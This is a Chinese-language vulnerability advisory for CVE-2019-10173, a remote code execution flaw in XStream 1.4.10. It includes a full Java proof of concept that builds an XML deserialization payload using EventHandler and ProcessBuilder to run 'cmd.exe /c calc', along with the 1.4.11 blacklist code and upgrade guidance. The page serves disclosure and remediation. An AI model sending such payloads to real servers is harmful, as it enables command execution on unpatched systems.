CVE 2019 10173 Xstream 1.4.10版本远程代码执行漏洞
前言¶
XStream是常用的Java类库,用来将对象序列化成XML (JSON)或反序列化为对象。
漏洞简介¶
Xstream 1.4.10版本存在反序列化漏洞CVE-2013-7285补丁绕过。
漏洞危害¶
当使用Xstream 1.4.10版本且未对安全框架进行初始化时,攻击者即可通过精心构造的请求包在使用Xstream的服务器上进行远程代码执行。
影响范围¶
产品¶
Xstream
版本¶
Xstream1.4.10版本
组件¶
Xstream
漏洞复现¶
PoC¶
package com.bigo;
import com.thoughtworks.xstream.XStream;
import java.beans.EventHandler;
import java.io.IOException;
import java.util.Set;
import java.util.TreeSet;
/**
* Created by cfchi on 2019/7/26.
*/
public class Main {
public static String expGen(){
XStream xstream = new XStream();
Set<Comparable> set = new TreeSet<Comparable>();
set.add("foo");
set.add(EventHandler.create(Comparable.class, new ProcessBuilder("calc"), "start"));
String payload = xstream.toXML(set);
System.out.println(payload);
return payload;
}
public static void main(String[] args) throws IOException {
expGen();
XStream xStream = new XStream();
String payload = "<sorted-set>\n" +
" <string>foo</string>\n" +
" <dynamic-proxy>\n" +
" <interface>java.lang.Comparable</interface>\n" +
" <handler class=\"java.beans.EventHandler\">\n" +
" <target class=\"java.lang.ProcessBuilder\">\n" +
" <command>\n" +
" <string>cmd.exe</string>\n" +
" <string>/c</string>\n" +
" <string>calc</string>\n" +
" </command>\n" +
" </target>\n" +
" <action>start</action>"+
" </handler>\n" +
" </dynamic-proxy>\n" +
"</sorted-set>\n";
xStream.fromXML(payload);
}
}
1.4.7版本白名单¶
1.4.10版本,黑名单未开启¶
1.4.11版本,黑名单开启¶
blacklist
private class InternalBlackList implements Converter {
private InternalBlackList() {
}
public boolean canConvert(Class type) {
return type == Void.TYPE || type == Void.class || !XStream.this.securityInitialized && type != null && (type.getName().equals("java.beans.EventHandler") || type.getName().endsWith("$LazyIterator") || type.getName().startsWith("javax.crypto."));
}
public void marshal(Object source, HierarchicalStreamWriter writer, MarshallingContext context) {
throw new ConversionException("Security alert. Marshalling rejected.");
}
public Object unmarshal(HierarchicalStreamReader reader, UnmarshallingContext context) {
throw new ConversionException("Security alert. Unmarshalling rejected.");
}
}
修复方案¶
升级Xstream到1.4.11版本
参考¶
https://mp.weixin.qq.com/s/bght8tIwtNqnaidVZjPdSw
http://x-stream.github.io/changes.html#1.4.11